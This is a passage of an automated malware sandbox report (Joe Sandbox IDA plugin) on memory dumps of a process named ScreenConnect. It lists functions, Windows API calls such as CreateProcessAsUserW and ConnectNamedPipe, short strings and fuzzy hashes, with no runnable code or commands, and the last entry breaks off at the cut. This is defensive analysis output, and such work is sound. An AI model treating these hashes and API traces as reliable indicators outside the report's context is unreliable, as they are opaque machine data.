Source File: 00000013.00000002.3010293289.0000000003E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3e20000_ScreenConnect.jbxd

Similarity

API ID: CryptDataProtect
String ID:
API String ID: 3091777813-0
Opcode ID: 0de0e49a89892b136660b4a9920ac04c3be40eb12f5fc4e3913bb03d2f4592ac
Instruction ID: 85b9f3bd951875762cc7b7b6b7c1944c7b5695a2defd00f451a465c4dd87bdc5
Opcode Fuzzy Hash: 0de0e49a89892b136660b4a9920ac04c3be40eb12f5fc4e3913bb03d2f4592ac
Instruction Fuzzy Hash: A22134B68002599FCF10CF9AC844ADEBFF5FB88310F15852AE918A7210C339A655CFA1

Function 04FED710 Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fed647f7d34d85c5c9c5213b1b319b90a6b130af13903f0396019fa635e596
Instruction ID: 097f1cf75ef4f0cc7caf23d5b67196923dff9f060e00141077d0f1a4ae8d4acd
Opcode Fuzzy Hash: 42fed647f7d34d85c5c9c5213b1b319b90a6b130af13903f0396019fa635e596
Instruction Fuzzy Hash: 95324B74A402198FDB54DF29D854AADBBF6FF88304F1085A9D509AB364DB70ED86CF80

Function 05166334 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,?,?,?,00000001,00000004), ref: 05166855

Strings

4L^q, xrefs: 05166801

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: CreateFile
String ID: 4L^q
API String ID: 823142352-616035646
Opcode ID: 12751ab895bc69c8c3b6289992e56f1ea4cd8194bfa9f9160e20fb11be95beb8
Instruction ID: cc24f4785e3353f1d12f6f1c8ca92ef5534470fabe67fe2794039edbeaf1c272
Opcode Fuzzy Hash: 12751ab895bc69c8c3b6289992e56f1ea4cd8194bfa9f9160e20fb11be95beb8
Instruction Fuzzy Hash: D05144B0D003599FDB10DFA9C948B9EBBF6FB48304F248029E808AB395D7799854CF91

Function 0516672C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,?,?,?,00000001,00000004), ref: 05166855

Strings

4L^q, xrefs: 05166801

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: CreateFile
String ID: 4L^q
API String ID: 823142352-616035646
Opcode ID: 6ca10dd80be19610a4ecbf500bd3ed41b6319bc516f7c43f0a7df947ec3962a5
Instruction ID: 48fa91ac949c1226bade29aca4817d73a6f6f5d7b3224601b64950bce8dae5a2
Opcode Fuzzy Hash: 6ca10dd80be19610a4ecbf500bd3ed41b6319bc516f7c43f0a7df947ec3962a5
Instruction Fuzzy Hash: F64154B1D003599FDB10DFA9C948B9EBBF6BF48304F248129E808AB395D7799854CF81

Function 05B63AD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegDisablePredefinedCache.ADVAPI32 ref: 05B63BA1

Strings

`Q^q, xrefs: 05B63B2F

Memory Dump Source

Source File: 00000013.00000002.3025622098.0000000005B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5b60000_ScreenConnect.jbxd

Similarity

API ID: CacheDisablePredefined
String ID: `Q^q
API String ID: 1885667121-1948671464
Opcode ID: 40f3f1b5d86adf32d688a8d4b04861836c8f91d89cb1774cc6d2a2b6d994f1e6
Instruction ID: 19a6955b8fa7d89dca4a1ecbdf359be0c711f1e5a16c6aa847ef813cbdf27ab0
Opcode Fuzzy Hash: 40f3f1b5d86adf32d688a8d4b04861836c8f91d89cb1774cc6d2a2b6d994f1e6
Instruction Fuzzy Hash: 20310670D002099FDB14DF99D954B9EBBF6EF88314F248829E805AB394DBB86845CB91

Function 04FEF8E1 Relevance: 2.6, Strings: 2, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 04FEF9B6
fcq, xrefs: 04FEF9CF

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: fcq$ fcq
API String ID: 0-3114753931
Opcode ID: d5db62b04ec5c244851ef5f43a415a553b14cb36d45073da70e4362bb0375d83
Instruction ID: 202edab72610013d5cb1b99908a265bd34818ed96b1618d8da93f61ac9958815
Opcode Fuzzy Hash: d5db62b04ec5c244851ef5f43a415a553b14cb36d45073da70e4362bb0375d83
Instruction Fuzzy Hash: FF51B131E40206ABDB45DF66D8506AEBBF2BFC4304F148529D505AF384EF71AD4B8B91

Function 04FE45C0 Relevance: 1.8, Strings: 1, Instructions: 563COMMON

Download Yara Rule

Strings

0u, xrefs: 04FE4A40

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: 0u
API String ID: 0-3203441087
Opcode ID: 6748c5f4b168fdf290dbac52a01aece76cd8b7105216e52fc4070adaa33bcb71
Instruction ID: aa3687c395e3c9c0e5112eea26f9e49c1e363805b9b70588f95779d4cc1dcdb8
Opcode Fuzzy Hash: 6748c5f4b168fdf290dbac52a01aece76cd8b7105216e52fc4070adaa33bcb71
Instruction Fuzzy Hash: CC424C71A00619CFDB54EF69D894AADBBB2FF88305F1041E9E509AB365DB30AD81CF41

Function 05160006 Relevance: 1.6, APIs: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 0516010F

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: e58bab80873aee22e9594db835e5851a9a9425338bdf31e4c162ff28f3f53259
Instruction ID: d411e352d25bb6742ed9a7dbfe3ad5db90059b9c783b8e763acd158a4bac3823
Opcode Fuzzy Hash: e58bab80873aee22e9594db835e5851a9a9425338bdf31e4c162ff28f3f53259
Instruction Fuzzy Hash: 78415876900349DFCB01CFA9C884ADEBBF1FF48310F09856AE954A7261D3399965CF50

Function 05161F0C Relevance: 1.6, APIs: 1, Instructions: 68pipeCOMMON

Download Yara Rule

APIs

ConnectNamedPipe.KERNEL32(00000000), ref: 05161F90

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: ConnectNamedPipe
String ID:
API String ID: 2191148154-0
Opcode ID: 2233094837d9c457bfda46f015a9124c226b8dcb4e60136868eee86e110f50e4
Instruction ID: 241ffb70e148fdc90e5c95556346ec2ffc0a10d8ce2d5fb4972f89791cca9609
Opcode Fuzzy Hash: 2233094837d9c457bfda46f015a9124c226b8dcb4e60136868eee86e110f50e4
Instruction Fuzzy Hash: DD2125B1D00259AFCB24CFA9C584BDEBBF5AF48300F148459E849A7350DB789845CF90

Function 05161F18 Relevance: 1.6, APIs: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

ConnectNamedPipe.KERNEL32(00000000), ref: 05161F90

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: ConnectNamedPipe
String ID:
API String ID: 2191148154-0
Opcode ID: e16b7efe2691815a1b353ac7cbe7088296f2d81b6ba244c6c2bc00823dcb8857
Instruction ID: 0133790e17bb7363ca5d45327c45d83d4c89bcf7cbaeb54aaf309046d99329ce
Opcode Fuzzy Hash: e16b7efe2691815a1b353ac7cbe7088296f2d81b6ba244c6c2bc00823dcb8857
Instruction Fuzzy Hash: 332117B0D00259AFCB24CFA9C584B9EBBF5AF48300F148459E849A7350DB799845CF90

Function 04FE0E48 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

d, xrefs: 04FE1099

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: ab5cc835a4600a9ba4ffca414e88666f03798b9298091483cdb7f6dd9fb55cee
Instruction ID: f9951b59d3dda793ea621f0b60b29dc955e8ddc1284b9a1168ca9adda2c2a4bd
Opcode Fuzzy Hash: ab5cc835a4600a9ba4ffca414e88666f03798b9298091483cdb7f6dd9fb55cee
Instruction Fuzzy Hash: DDC17B34600612CFCB14CF1AC58096ABBF2FF88315B16C969E55A9B766DB31FC46CB80

Function 05162308 Relevance: 1.6, APIs: 1, Instructions: 56pipeCOMMON

Download Yara Rule

APIs

WaitNamedPipeW.KERNEL32(00000000), ref: 0516236F

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: NamedPipeWait
String ID:
API String ID: 3146367894-0
Opcode ID: 898f55400e4fc9e6c01f1770d1219b18c5a50a96852ad539c9e1ab6b7bc96013
Instruction ID: b048e3618adb577ac12780b352826f524370b66c6a19f74a917ba352c2f9aaee
Opcode Fuzzy Hash: 898f55400e4fc9e6c01f1770d1219b18c5a50a96852ad539c9e1ab6b7bc96013
Instruction Fuzzy Hash: 192103B68002198FCB10CF9AC444AEEBBF4FB48324F15842ED869A7240C779A545CFA5

Function 05162301 Relevance: 1.6, APIs: 1, Instructions: 55pipeCOMMON

Download Yara Rule

APIs

WaitNamedPipeW.KERNEL32(00000000), ref: 0516236F

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: NamedPipeWait
String ID:
API String ID: 3146367894-0
Opcode ID: efffd7de79064d4344b7d48f655b8b9480df2803744b0dd609454835626ad571
Instruction ID: 1eaee2d7ac413fd5db208cf7dfc83dc9658825fc41a720254386a9c961a49fab
Opcode Fuzzy Hash: efffd7de79064d4344b7d48f655b8b9480df2803744b0dd609454835626ad571
Instruction Fuzzy Hash: 622122B68002198FCB10CF9AC544BEEBBB4FF48324F15842AD869B7240C379A545CFA0

Function 04FEE291 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 04FEE2C4

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: `Q^q
API String ID: 0-1948671464
Opcode ID: fe5d81da3373e11cd0ddaa3532ef388c567ade4c48c9e0b2d0c3e89aa3bdbae8
Instruction ID: 09fbe8efa44ba00d62f27a7cf0158606a385c7960993dbebfb84ba4525290e7a
Opcode Fuzzy Hash: fe5d81da3373e11cd0ddaa3532ef388c567ade4c48c9e0b2d0c3e89aa3bdbae8
Instruction Fuzzy Hash: 9F51B231F00119CFEB549FA5E8546BFBBB2EB88315F244529D506EB384DE30A906CB91

Function 04FEEFFC Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

, xrefs: 04FEF067

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 12f391ce3bf480110d3f450fc926a13dd95055e08d2b2e7b13e3dd49feec6ab9
Instruction ID: 35b5b553cf99887b3bee8c8a27f65a76d271422bbb8cee90078af857ff004c72
Opcode Fuzzy Hash: 12f391ce3bf480110d3f450fc926a13dd95055e08d2b2e7b13e3dd49feec6ab9
Instruction Fuzzy Hash: CA012831B483911FE345D72A58189AE7BE6DBC115471981BED109CF356EEB6DC0387C0

Function 04FE53F1 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ca226c41d0dd3fbb017db740798fbc2bfdacc9ca835944c7035a3fa94dd5d1
Instruction ID: 9e4f9e57abbf4c5389ca477860429bf180275f261cd03a6dd5dfde067a27e2bb
Opcode Fuzzy Hash: 07ca226c41d0dd3fbb017db740798fbc2bfdacc9ca835944c7035a3fa94dd5d1
Instruction Fuzzy Hash: 77323975A00219CFDB54DF69D894AADBBB2FF88305F108299E509AB365DB30ED81CF40

Function 04FE45AF Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2c0ac43e87abdc9370b790494a52d87889d5f398094be1186b3814dcb6b432
Instruction ID: 9ba947116294a665f37d6cb89f107b2706f4365df109e319bea055faa6a71638
Opcode Fuzzy Hash: 8d2c0ac43e87abdc9370b790494a52d87889d5f398094be1186b3814dcb6b432
Instruction Fuzzy Hash: 1C323B75A00219CFDB54DF69D994AADBBB2FF88305F1081A9E509AB365DB30ED81CF40

Function 04FEADC1 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f916147e8652a6773168a1f203427466b0a926f495d6c051a4f57c1d1a2005e
Instruction ID: ddecb9de302634ac696d837206a2833a54e83419e1ea325861074d49f925727a
Opcode Fuzzy Hash: 1f916147e8652a6773168a1f203427466b0a926f495d6c051a4f57c1d1a2005e
Instruction Fuzzy Hash: C4A13A70E002198FDB25DF65C980AADBBB1FF88305F1485A9D909AB351DB71ED86CF50

Function 04FED6F8 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e861a427daa698fc5a18b0896ab9da6d1692d625cd5eb5ad73bb200da3ba8c
Instruction ID: 98ab17533d86322ec77b18c6bd81ee121685d96abd9b40d5d3b3fc21dc710e44
Opcode Fuzzy Hash: 01e861a427daa698fc5a18b0896ab9da6d1692d625cd5eb5ad73bb200da3ba8c
Instruction Fuzzy Hash: 9DA14E70A002199FDB54DF28D954A9DBBF6FF88300F1085A9D50AAB364DB71ED86CF50

Function 04FE12A0 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e85335b96603b723baf340e5a283c8663e55d6de25cd06417a5f70a3944831
Instruction ID: 1d8b3a0082d83eef997c5fad6bf6fea21ffec4690ec6499e301ca269072aa0a8
Opcode Fuzzy Hash: d7e85335b96603b723baf340e5a283c8663e55d6de25cd06417a5f70a3944831
Instruction Fuzzy Hash: 4481A134A002068FDB11CF5AC9C09AABBF1FF89315F148299E555DB366D730F856CB90

Function 04FEED28 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3871032b7a8ce95a8070994c04c3244783c9bd1f2ab76cc64467498165421559
Instruction ID: f99384ec165dd28d92ea443d2a79bcd4596cef9b06850dafed8236a66116b006
Opcode Fuzzy Hash: 3871032b7a8ce95a8070994c04c3244783c9bd1f2ab76cc64467498165421559
Instruction Fuzzy Hash: A8718E30B402069BEB15EF76E95056EBBA6FFC4205B14852DD106AB3A4EF35EC07CB81

Function 04FE2D70 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a084d87540fb27fbb2d83390e8841621dd85d7884902df6fd2cc9196f579568
Instruction ID: b340e9d3b9670148722bb66fc363a1f2f4c4c2a38bef57cbc20697b23cce77ff
Opcode Fuzzy Hash: 0a084d87540fb27fbb2d83390e8841621dd85d7884902df6fd2cc9196f579568
Instruction Fuzzy Hash: 7A619030F402058FDB44DF69D9549AEBBF6FF84201B1585A9E519EB365EB30EC42CB90

Function 04FE3439 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4269d16601f1a00e189add8bab097c447db16e40a8378187befc61392746618
Instruction ID: c811c87b0a6764bb478dcb974a3ed80ebc8c8df2760a46bf08ea51c09b0c4f3e
Opcode Fuzzy Hash: b4269d16601f1a00e189add8bab097c447db16e40a8378187befc61392746618
Instruction Fuzzy Hash: 17517D31F402068BDF11DFAAC55497EF7A6FF843507058669E805AF369EA74FC028B90

Function 04FE3448 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ce653a4066942979d1b25ff5710d3ff674623172d516e737a54ad04dff69e7
Instruction ID: e269b4f7b06acfbb9d1c61d197537fe977836844d9f763227196e367b71166ea
Opcode Fuzzy Hash: 86ce653a4066942979d1b25ff5710d3ff674623172d516e737a54ad04dff69e7
Instruction Fuzzy Hash: 94515E31B402168BDF14DFAAC95496EF7E6FF84350705866AE805EF369DA74EC028BD0

Function 04FE3148 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae15e2de4b7d7a3e8c5e90c47d64c7de22c3f3d905c9c0e6f9b7f1934df4f50
Instruction ID: 66f295ba61c5656d354a528365ee78cd7600c8eeed413d1d86c9a708cf7bb2b5
Opcode Fuzzy Hash: 2ae15e2de4b7d7a3e8c5e90c47d64c7de22c3f3d905c9c0e6f9b7f1934df4f50
Instruction Fuzzy Hash: 6B612870E002199FDB14CF5AD999EBEBBF1BF44315F048068E801AB2A1DB75E942CF91

Function 04FEB346 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3be7baad9ee223b851e796fa66ea89ee54ce1ca0595435e1d8970249a88cf47
Instruction ID: 1cac3652991ec9b888dce44856b57189992e767becd3ce905e54332899124b4e
Opcode Fuzzy Hash: b3be7baad9ee223b851e796fa66ea89ee54ce1ca0595435e1d8970249a88cf47
Instruction Fuzzy Hash: A2710570E4022A8FDB64DF69D844BEDBBB6BF88304F1084A9D509A7354DB70AD85CF90

Function 04FE4E84 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3175638d1cd8dacfb3dbc56df563f6bf367ff2271919671073770b4ecf273b3c
Instruction ID: e3f9ee460bb702f1b9f2feea2c1c4f21215dc4ae3fc1bde01c05a4eb35f9e84a
Opcode Fuzzy Hash: 3175638d1cd8dacfb3dbc56df563f6bf367ff2271919671073770b4ecf273b3c
Instruction Fuzzy Hash: 3E615C30A00215DFDB54DF69C988BA9BBB2BF85309F105099E509AB361DB75ED82CF80

Function 04FEED19 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c13446dfa695b0a1d5a6c872301ce59d407daa5ffad9971f9926fd956ce4038
Instruction ID: 67ece714f1d14264b9a24f9ae9b08ade60721dcb767c989eef2c6a0b000ba720
Opcode Fuzzy Hash: 8c13446dfa695b0a1d5a6c872301ce59d407daa5ffad9971f9926fd956ce4038
Instruction Fuzzy Hash: AC518130A402058BEB65EF76E95056E7BE6FFC0205B04892DD106AB3A4EF74FC078B85

Function 04FE96D8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1cbf594bf164d07d0e5ea7abb18b568211f197a161b53487015a021c4452c5
Instruction ID: af05637b0d7aebd266b0bbaa571c6f6f656ddac27041b6ce296088fc3aa484c8
Opcode Fuzzy Hash: fa1cbf594bf164d07d0e5ea7abb18b568211f197a161b53487015a021c4452c5
Instruction Fuzzy Hash: 355146B5A002148FCB24CF59C580DADBBF2BF48301B558995E849AB361DB75FD42CFA4

Function 04FE759B Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f69ea31f26edf8539824670e8c3f6827123ab87f78b71319f3b3f8c905c1a5aa
Instruction ID: 8f3fb8a2c157b8962a9d93a15db39fe8892b017ff14ba95cab379626934fc417
Opcode Fuzzy Hash: f69ea31f26edf8539824670e8c3f6827123ab87f78b71319f3b3f8c905c1a5aa
Instruction Fuzzy Hash: A4512C71600B058FDB30EF2AD94466AB7F5EF84315B008B2DD09687694EB30F98ACF91

Function 04FE75A8 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edce8637ca3c09ebab2842e7110033e61dd0ba2e6cbfcdb4070b05ce25140a4e
Instruction ID: 1e29f437900183cbd2c24b85d4eba9909fc183e9e3dd84fecc3560afba5be374
Opcode Fuzzy Hash: edce8637ca3c09ebab2842e7110033e61dd0ba2e6cbfcdb4070b05ce25140a4e
Instruction Fuzzy Hash: D5512D71600B058FD730EF2AD944666B7F5EF88315B008B2DD09687694EB30F98ACF91

Function 04FE0DA9 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e3d05a56a4371238195fe83e4618be97ae426775cebb12a476d06b42084a49
Instruction ID: 79ed7568786d845d0c76553b245c1a895e1e5d70acd9411661cd1fc68832300f
Opcode Fuzzy Hash: 51e3d05a56a4371238195fe83e4618be97ae426775cebb12a476d06b42084a49
Instruction Fuzzy Hash: 9B518A35600616DFCB10CF59C4809A9BBF2FF89311B19C9A9E5599B261DB30F842CB80

Function 04FE2D63 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 288ba9d7d4ce2dff4cbd82ba78a9761bbe5b0318faf707602cb54b14bd9e25ba
Instruction ID: c1ad79c73abf129f8589ae1901cbb633057e87b88f06a7a3e3d80efcfc221466
Opcode Fuzzy Hash: 288ba9d7d4ce2dff4cbd82ba78a9761bbe5b0318faf707602cb54b14bd9e25ba
Instruction Fuzzy Hash: 6D514C70F4020A8FDB45DF69D9509AEFBF6FF88200B148669D505AB365EB70EC46CB90

Function 04FE1291 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a858ba943c55c268fe91375cb8dde942b54f334c344357ff95d5f4b175eb4a25
Instruction ID: c807a75131105b52ddeeaaf37a4d0e11c6b06a5846e05be6025b1144401ebd9a
Opcode Fuzzy Hash: a858ba943c55c268fe91375cb8dde942b54f334c344357ff95d5f4b175eb4a25
Instruction Fuzzy Hash: FF519A74A00606CFCB20CF9AC9C0AAABBF1FF89315F148669D5519B7A5D330F956CB90

Function 04FE6A28 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4471ea6ffea6b57406e0a055852e993f8d39eb793ee32deab472f563e44c3e9
Instruction ID: ce0e0cc66d52a44370d01d704581f90e767f79f06f4dc51035d6788bc774a8b4
Opcode Fuzzy Hash: a4471ea6ffea6b57406e0a055852e993f8d39eb793ee32deab472f563e44c3e9
